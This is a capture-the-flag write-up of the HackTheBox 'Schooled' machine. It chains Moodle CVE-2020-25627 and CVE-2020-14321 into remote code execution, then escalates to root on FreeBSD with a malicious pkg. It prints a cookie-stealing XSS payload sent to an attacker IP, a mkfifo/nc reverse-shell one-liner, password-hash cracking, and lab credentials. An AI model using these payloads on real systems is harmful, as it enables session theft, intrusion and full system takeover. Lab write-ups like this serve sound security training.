Exploiting Moodle vulnerabilities and FreeBSD custom pkg (Hackthebox - Schooled Writeup)
Nmap Scan
- 22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
- 80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
- Potentially risky methods: TRACE
Enumeration
Subdomain Enumeration
We enumerate for possible available subdomains using ffuf
ffuf -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://schooled.htb -H "Host: FUZZ.schooled.htb" -fw 5338
Found a subdomain moodle
. So we add
moodle.schooled.htb
to our /etc/hosts
file.
Going to the site, we find a moodle site. We create a student account
with the mail name@student.schooled.htb
and login.
We see that we can only enroll ourselves in the Maths course.
Enrolling ourselves, we see an anouncement where the teacher Manuel
Phillips says that in order to be in the course, we must set our
MoodleNet profile, or we would not be allowed in. We can set our
moodlenet profile from our Preferences > Edit Profile
options.
Stored XSS
Now, looking around for moodle vulnerabilities, we find that the moodlenet profile field is vulnerable to stored XSS. This vulnerability is assigned CVE-2020-25627. It has been patched in this on the moodle forums. This vulnerability occurs due to the fact that the input is not sanitized. It has been patched as follows:
--- a/admin/tool/moodlenet/classes/profile_manager.php
+++ b/admin/tool/moodlenet/classes/profile_manager.php
@@ -46,7 +46,7 @@ class profile_manager {
$user = \core_user::get_user($userid, 'moodlenetprofile');
try {
$userprofile = $user->moodlenetprofile ? $user->moodlenetprofile : '';- return (isset($user)) ? new moodlenet_user_profile($userprofile, $userid) : null;
+ return (isset($user)) ? new moodlenet_user_profile(s($userprofile), $userid) : null;
} catch (\moodle_exception $e) {
// If an exception is thrown, means there isn't a valid profile set. No need to log exception. return null;
Stored XSS allows the input to be displayed as HTML whenever the page
is loaded. So, we can put in a malicious javascript code inside and
whoever loads the page would run that script inside his browser session,
and we can steal his cookies and sessions and what not. We use this
attack to steal the login session of the teacher, since he would check
our profile and thus load our profile page, and run the script in his
browser. This is called Session Hijack
.
If we check our own cookies for the moodle site, we can find a cookie
named session
. So we can use this session hijack
attack.
Session Hijack
So, we write the following script and insert it into the moodlenet field and save our profile.
<script>new Image().src="http://10.10.16.1/bogus.php?output="+document.cookie;</script>
What happens here is that, we put a new image element in the html
using the script, and we use the image source to a bogus php file on our
local machine. The php takes the var output which is the
document.cookie
, the cookie that stores the login session
of the teacher. As the teacher’s browser makes the HTTP request for the
image along with the cookie, we can intercept the request by opening a
netcat listener on the HTTP port 80 on our local machine and keep
waiting.
nc -lnvp 80
After some time, we get a hit with the session cookie of the teacher.
Now, we can edit our own session cookie with the obtained value for the teacher and get logged in as the teacher manuesl_phillips.
Moodle privesc to manager
From the main website, in the teachers section, we find that Lianne Carter is the manager. The manager has administrative capabilities, and we check if we can in any way privesc to that role. Looking around for a long time, and finally with the help of a nudge, found a vulnerability that allows privesc from teacher to manager here. This has been assigned the CVE-2020-14321. This vulnerability allows Course enrolments to allow privilege escalation from teacher role into manager role. The PoC video can be found here.
This vulnerability has been pathced in this post
on moodle. This vulnerability happens due to the fact that moodle did
not check if the logged in user has the capability
to
assign certain roles to other users. Moreover, it also did not check if
the user can be assigned certain roles in the given context
in moodle, for example, in the course. A context is combined with role
permissions to define a User’s capabilities on any page in Moodle.
So, adding a manager as a new student to the course, we can intercept
the request and give ourselves, the teacher role_id=1
which
is the manager role. Then as a manager, we can login as other managers,
the main manager, who has capability to edit the moodle. The patch
applied to fix this:
--- a/enrol/manual/ajax.php
+++ b/enrol/manual/ajax.php
@@ -100,6 +100,13 @@ switch ($action) {
if (empty($roleid)) {
$roleid = null;+ } else {
+ if (!has_capability('moodle/role:assign', $context)) {
+ throw new enrol_ajax_exception('assignnotpermitted');
+ }
+ if (!array_key_exists($roleid, get_assignable_roles($context, ROLENAME_ALIAS, false))) {
+ throw new enrol_ajax_exception('invalidrole');
+ }
}
Following the PoC video, we assign our teacher to manager role, and
then we login as the manager from the teacher session, and enable
installation of plugins, using the rce.zip
file as provided
by the PoC author, we can get remote code execution. We needed to change
the version info in the zip file. We unzip the zip file and find a
version.php
file. Trying to install the rce.zip plugin as
is gives us the version number of the moodle on the server
20200615
, we put this version number in the file and then
install it to make it work.
Reverse Shell - www-data
Using different reverse shell oneliners faile using this rce. So , we
upload our own php reverse shell from here.
We put the php reverse shell in place of block_rce.php
and
rename the plugin to rev
. Now we open a nc listerner and
install the plugin and go to the url as in the PoC, to get a reverse
shell.
Privilege Escalation - User
We find 2 users on the box 1. jamie 2. steve
Enumerating the box, we were able to find mysql database creds.
Reading the man docs for apache on freebsd, we see that the document
root for apache is /usr/local/www/data
. Going around, we
find the site and the moodle data. In the config file
config.php
of moodle, we find mysql database user and
password.
cat /usr/local/www/apache24/data/moodle/config.php
$CFG->dbname = 'moodle'
$CFG->dbuser = 'moodle' $CFG->dbpass = 'PlaybookMaster2020'
So we have a database moodle.db
, by the user moodle and
got the password for the user. Using the obtained creds, we login and
view the database using the following commands
the command mysql won’t work because it is not in PATH. If we echo the PATH, we see that /usr/local/bin is not included. The binary of mysql is located in the /usr/local/bin. So, we have to use the absolute path
/usr/local/bin/mysql -u moodle -pPlaybookMaster2020
use moodle;
show tables;
From the tables, we find the table named mdl_user
which
seems interesting. We view the table using
select * from mdl_user;
We see that the tables spits out many moodle users and their passowrd
hashes. We find our user jamie
among them and obtain the
password hash.
We store the hash in a file named jamie_hash
and use
john to crack the hash
john jamie_hash -w=/usr/share/wordlists/rockyou.txt
And after some time, get a hit. Obtained creds:
jamie:!QAZ2wsx
Now we can ssh into the machine as user jamie.
Privilege Escalation - root
Logging in as jamie, the first thing we do is check the sudo
capabilities of the user using sudo -l
and find the
following.
So we can update the pkg repos and install any package as root. This means we can try to create a malicious package that we can install and get it executed by root somehow to obtoain root privileges. About creating custom pkgs, here is an awesome blog on it.
Creating a custom pkg on FreeBSD
Reading the docs for pkg
from github, we get a
template for the +MANIFEST
file which contains all the
information of the package. We can include different scripts here that
gets executed such as:
- pre-install
- post-install
- install
- pre-deinstall
- post-deinstall
- deinstall
- pre-upgrade
- post-upgrade
- upgrade
We can use the pre-install
to execute a reverse shell
script that will then get executed as root as we install the package as
sudo and thus we can get root. The pkg create
command tars
the directory with the +MANIFEST
file and zips it using the
xz
format by default. We can then install the package using
the pkg install
command as sudo.
Using the template, and using only what’s necessary we write the following MANIFEST containing our reverse shell
name: foo
version: 1.0
origin: category/foo
comment: this is foo package
arch: i386
www: http://www.foo.org
maintainer: foo@bar.org
prefix: /usr/local
licenselogic: or
licenses: [MIT, MPL]
desc: <<EOD
This is the description
Of foo
A component of bar
EOD
categories: [bar, plop]
deps: {
}
files: {
}
directories: {
}
scripts: {
post-install: <<EOD
#!/bin/sh
echo post-install
EOD
pre-install: <<EOD
#!/bin/sh
echo pre-install
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.1 4242 >/tmp/f
EOD
}
We keep the MANIFEST file in a directory named foo
. And
then run the following to create and install the pkg
just pkg install command fails on repo update, so we skip the update using the “–no-repo-update” flag
pkg create -m foo/ -r foo/ -o ./
sudo /usr/sbin/pkg install --no-repo-update foo-1.0.txz
Opening a nc listener on port 4242, after some time, we get a reverse shell back as root.